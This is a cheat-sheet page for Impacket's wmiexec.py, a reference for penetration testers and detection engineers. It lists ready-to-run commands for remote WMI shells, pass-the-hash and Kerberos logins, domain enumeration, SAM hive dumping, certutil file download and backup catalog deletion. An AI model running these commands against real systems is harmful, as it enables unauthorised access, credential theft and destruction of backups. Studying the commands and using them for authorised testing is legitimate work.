Skip to content

wmiexec

30 commands

Impacket’s wmiexec.py: a semi-interactive shell over DCOM/WMI that leaves fewer artefacts than service-based execution.

  • remote execution
  • WMI
  • Impacket

Install wmiexec

sudo apt install python3-impacket

Basic Remote Execution2

wmiexec.py administrator@192.168.1.10

Initiates a semi-interactive shell on the target using a username and password prompt.

wmiexec.py administrator:password123@192.168.1.10

Connects to the target with the password provided inline in the command string.

Target Specification2

wmiexec.py lab_domain/administrator:password123@192.168.1.10

Authenticates to a specific domain user on the target IP address.

wmiexec.py administrator:password123@hostname.local

Targets a remote host using its DNS hostname instead of an IP address.

Command Execution Workflows3

wmiexec.py administrator:password123@192.168.1.10 "hostname"

Executes a single command non-interactively and retrieves the standard output.

wmiexec.py administrator:password123@192.168.1.10 "ipconfig /all"

Runs a detailed network configuration command remotely and exits after output.

wmiexec.py administrator:password123@192.168.1.10 "whoami /priv"

Checks the privileges of the executing user on the remote system.

NTLM Hash Authentication3

wmiexec.py -hashes :32693b11e6aa90eb43d32c72a77c1a1a administrator@192.168.1.10

Authenticates using the Pass-the-Hash technique with an NT hash only.

wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a77c1a1a administrator@192.168.1.10

Authenticates using the Pass-the-Hash technique with both LM and NT hashes.

wmiexec.py -hashes :32693b11e6aa90eb43d32c72a77c1a1a lab_domain/admin@192.168.1.10

Performs Pass-the-Hash authentication for a domain account against a target IP.

Link

Kerberos Authentication3

wmiexec.py -k -no-pass hostname.lab_domain.local

Authenticates using a Kerberos ticket from the KRB5CCNAME environment variable.

Link
wmiexec.py -k -no-pass -dc-ip 192.168.1.5 hostname.lab_domain.local

Uses Kerberos auth while explicitly specifying the Domain Controller IP address.

Link
wmiexec.py -aesKey 64bit_aes_hex_key_here user@hostname.local

Authenticates using an AES256 key for explicit Kerberos key usage.

Link

Output and Logging2

wmiexec.py -debug administrator:password123@192.168.1.10

Runs the tool in debug mode to display detailed connection and execution logs.

Link
wmiexec.py -codec utf-8 administrator:password123@192.168.1.10

Sets the output text encoding codec to handle non-ASCII characters correctly.

Link

Lateral Movement Simulation3

wmiexec.py administrator:password123@192.168.1.10 "net user /domain"

Simulates lateral reconnaissance by querying domain users from a compromised host.

Link
wmiexec.py administrator:password123@192.168.1.10 "net group 'Domain Admins' /domain"

Simulates privileged group enumeration often performed after initial access.

Link
wmiexec.py administrator:password123@192.168.1.10 "type C:\Users\Administrator\Desktop\flag.txt"

Simulates data exfiltration or looting by reading specific files from the target.

Link

Blue Team Defensive Validation3

wmiexec.py administrator:password123@192.168.1.10 "powershell -nop -w hidden -c 'Write-Host Test'"

Executes PowerShell via WMI to test detection of child process creation events.

Link
wmiexec.py administrator:password123@192.168.1.10 "certutil -urlcache -split -f http://127.0.0.1/test test.exe"

Tests detection rules for ingress tool transfer using living-off-the-land binaries.

Link
wmiexec.py administrator:password123@192.168.1.10 "reg save HKLM\SAM sam.save"

Simulates credential dumping activity to validate registry access alerting.

Link

Advanced and Combined Workflows2

wmiexec.py -shell-type powershell administrator:password123@192.168.1.10

Instantiates the remote shell using PowerShell instead of the default CMD (if supported).

Link
wmiexec.py -ts administrator:password123@192.168.1.10

Prepends timestamps to the output logs for better timeline analysis during testing.

Link

Incident Response Simulation2

wmiexec.py administrator:password123@192.168.1.10 "tasklist /v"

remotely lists running processes to identify suspicious activity or confirm execution.

Link
wmiexec.py administrator:password123@192.168.1.10 "netstat -anob"

Retrieves active network connections and associated binaries for forensic triage.

Link

Automation and Scripting2

wmiexec.py -no-output administrator:password123@192.168.1.10 "ping -n 1 127.0.0.1"

Executes a command blindly without waiting for or retrieving the output file.

Link
wmiexec.py administrator:password123@192.168.1.10 "dir C:\Windows\System32\drivers\etc\hosts"

Verifies file existence remotely, often used in automated configuration checks.

Link

Purple Team Detection Testing2

wmiexec.py administrator:password123@192.168.1.10 "vssadmin list shadows"

Executes commands often associated with ransomware reconnaissance to test EDR logic.

Link
wmiexec.py administrator:password123@192.168.1.10 "wbadmin delete catalog -quiet"

Simulates backup deletion attempts to trigger high-severity backup tampering alerts.

Link

Cleanup and Safe Termination1

wmiexec.py administrator:password123@192.168.1.10 "del C:\Windows\Temp\wmi_output_*.txt"

Manually cleans up any artifact files left if the automatic cleanup mechanism fails.

Link